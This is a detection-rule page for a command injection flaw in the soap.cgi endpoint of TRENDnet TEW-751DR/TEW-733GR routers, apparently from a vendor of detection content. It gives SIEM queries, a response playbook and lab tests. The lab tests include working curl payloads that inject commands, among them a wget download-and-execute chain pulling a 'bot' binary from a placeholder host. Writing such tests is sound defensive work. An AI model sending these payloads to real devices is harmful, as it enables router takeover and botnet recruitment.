Skip to content
CVE-2026-138004

TRENDnet TEW-751DR/TEW-733GR soap.cgi soapcgi_main OS Command Injection (CVE-2026-138004)

Initial Access Execution Last updated:

Detects exploitation attempts against the OS command injection vulnerability (CWE-77, CWE-78) in the soapcgi_main function of /soap.cgi on TRENDnet TEW-751DR and TEW-733GR 1.03B01 routers. The flaw has a CVSS score of 9.3 and has been publicly disclosed. It allows unauthenticated remote attackers to inject arbitrary OS commands via crafted SOAP requests to the soap.cgi endpoint, typically through the SOAPAction header or request body. Detection focuses on HTTP requests to /soap.cgi containing shell metacharacters and on downstream process-execution telemetry, if endpoint or firmware logging is available, indicating command injection on the embedded Linux device.

Vulnerability Intelligence

Theoretical

What is CVE-2026-138004 TRENDnet TEW-751DR/TEW-733GR soap.cgi soapcgi_main OS Command Injection (CVE-2026-138004)?

TRENDnet TEW-751DR/TEW-733GR soap.cgi soapcgi_main OS Command Injection (CVE-2026-138004) (CVE-2026-138004) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for TRENDnet TEW-751DR/TEW-733GR soap.cgi soapcgi_main OS Command Injection (CVE-2026-138004), covering the data sources and telemetry it touches: Network Firewall, Web Proxy, WAF, IIS Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence
let suspiciousChars = dynamic([";","|","&","`","$(","${","%3B","%7C","%26","%60","$(","&&","||"]);
let soapEndpoints = dynamic(["/soap.cgi"]);
(union isfuzzy=true
  (CommonSecurityLog
  | where DeviceProduct has_any ("TRENDnet","TEW-751DR","TEW-733GR") or RequestURL has "/soap.cgi"
  | extend Url = coalesce(RequestURL, column_ifexists("RequestURL",""))
  | where Url has_any (soapEndpoints)
  | where Url has_any (suspiciousChars) or AdditionalExtensions has_any (suspiciousChars)
  | project TimeGenerated, SourceIP, DestinationIP, Url, DeviceAction, Message=AdditionalExtensions),
  (W3CIISLog
  | where csUriStem has "/soap.cgi"
  | where csUriQuery has_any (suspiciousChars) or csUriStem has_any (suspiciousChars)
  | project TimeGenerated, SourceIP=cIP, DestinationIP=sIP, Url=csUriStem, DeviceAction="", Message=csUriQuery))
| summarize Attempts=count(), SampleUrls=make_set(Url,5) by SourceIP, DestinationIP, bin(TimeGenerated, 10m)
| where Attempts >= 1

Identifies HTTP requests to /soap.cgi containing shell metacharacters (raw or URL-encoded) against TRENDnet devices, in reverse-proxy, firewall, or IIS/WAF logs forwarding to the device.

critical severity medium confidence

Data Sources

Network Firewall Web Proxy WAF IIS Logs

Required Tables

CommonSecurityLog W3CIISLog

False Positives

  • Legitimate SOAP client traffic to soap.cgi that happens to include ampersands in XML entity references
  • Vulnerability scanners and authorized penetration tests probing the endpoint
  • Security appliances that URL-encode benign query strings containing semicolons

Query fingerprint DF00-0f2f212719 · licence

Sigma logsource & community rules

The detection logic for TRENDnet TEW-751DR/TEW-733GR soap.cgi soapcgi_main OS Command Injection (CVE-2026-138004) (CVE-2026-138004) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated soap.cgi command injection via curl (lab)

    Expected signal: HTTP request to /soap.cgi containing a semicolon and 'id' command in the body captured by proxy/firewall/network sensors.

  2. Test 2 URL-encoded injection probe

    Expected signal: HTTP request with %3B and %60 encoded metacharacters in the query string targeting soap.cgi.

  3. Test 3 Download-and-execute payload simulation

    Expected signal: Request to soap.cgi containing chained shell commands (cd, wget, chmod) and a subsequent outbound connection attempt from the device.


Response Playbook

Triage

  1. Confirm the destination IP is a TRENDnet TEW-751DR or TEW-733GR device running firmware 1.03B01 or a related vulnerable build, and that /soap.cgi is reachable from the source network.
  2. Decode the full request URL and body and extract the injected command string following shell metacharacters (;, |, &, `, $()) to determine attacker intent.
  3. Correlate the source IP against threat intelligence and check for prior reconnaissance (scans of /soap.cgi, SOAPAction probing) from the same host.
  4. Determine whether the request received a 200 response or anomalous timing suggesting command execution succeeded.

Containment

  1. Block the offending source IP(s) at the perimeter firewall and restrict access to the router management interface (/soap.cgi) to trusted admin networks only.
  2. Isolate the affected router from untrusted networks (disable WAN-side management) and, if compromise is suspected, power-cycle and factory-reset the device, then reflash with vendor-provided firmware.

Evidence Collection

  1. Capture full PCAP / proxy logs of the request and response to /soap.cgi including headers and body for forensic analysis.
  2. Export router syslog, admin access logs, and any available crash/core dumps from the device before resetting; preserve firewall flow records for the source IP.

Escalation Criteria

  • ! Escalate to incident response if the injected command indicates download-and-execute (wget/curl/tftp to pull a payload) or botnet enrollment (Mirai-style behavior).
  • ! Escalate if multiple internal devices received the same crafted /soap.cgi requests or if outbound connections from the router to unknown hosts are observed post-exploitation.

Investigation Guide

Forensic Artifacts

  • > HTTP access logs / firewall logs showing POST or GET to /soap.cgi with metacharacters
  • > Router syslog entries and process-spawn records around the request time
  • > Unexpected files written to /tmp or /var on the device and new outbound connections from the router IP

Tuning Guidance

Baseline legitimate SOAP traffic to soap.cgi from internal management tools and exclude those source IPs. Tighten the metacharacter regex to the device's actual injectable parameters (SOAPAction header, service field) once a working PoC is analyzed. Where endpoint telemetry from the router is unavailable, rely on network/proxy layers and raise severity when the injected string contains download utilities (wget, curl, tftp).


Hunting Queries

Surface sources repeatedly hitting /soap.cgi with shell metacharacters to spot scanning or exploitation campaigns.

Hunting — KQL
kql
// df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/soap.cgi" | where RequestURL has_any (";","|","`","$(") | summarize count() by SourceIP, bin(TimeGenerated,1h) | order by count_ desc
Hunting — SPL
spl
``` df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence ```
index=* url="*/soap.cgi*" (url="*;*" OR url="*|*" OR url="*`*") | stats count by src_ip | sort - count

Atomic Red Team Tests

Test 1 Simulated soap.cgi command injection via curl (lab)
linux

Sends a crafted request to a lab TRENDnet device (or mock) with a shell metacharacter in a SOAP parameter to emulate CVE-2026-138004 exploitation.

Command

bash
curl -s -X POST 'http://192.168.10.1/soap.cgi' -H 'SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings' --data 'service=;id;'

Cleanup

bash
echo 'No persistent change; clear any test logs if desired'

Expected Telemetry

HTTP request to /soap.cgi containing a semicolon and 'id' command in the body captured by proxy/firewall/network sensors.

Expected Detection

KQL/SPL rules flag the request to /soap.cgi containing shell metacharacters.

Test 2 URL-encoded injection probe
linux

Sends URL-encoded shell metacharacters to /soap.cgi to validate encoded-pattern detection.

Command

bash
curl -s 'http://192.168.10.1/soap.cgi?service=test%3B%60wget%20http%3A%2F%2F10.0.0.5%2Fx%60'

Cleanup

bash
true

Expected Telemetry

HTTP request with %3B and %60 encoded metacharacters in the query string targeting soap.cgi.

Expected Detection

Detection rules match URL-encoded metacharacters (%3B, %60) against the soap.cgi endpoint.

Test 3 Download-and-execute payload simulation
linux

Emulates a Mirai-style exploitation attempt injecting a wget download command through soap.cgi.

Command

bash
curl -s -X POST 'http://192.168.10.1/soap.cgi' --data 'service=x;cd /tmp && wget http://10.0.0.5/bot -O m && chmod +x m && ./m;'

Cleanup

bash
rm -f /tmp/m 2>/dev/null; true

Expected Telemetry

Request to soap.cgi containing chained shell commands (cd, wget, chmod) and a subsequent outbound connection attempt from the device.

Expected Detection

Rules flag the request for shell metacharacters plus download utilities, and hunting queries surface the outbound connection.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections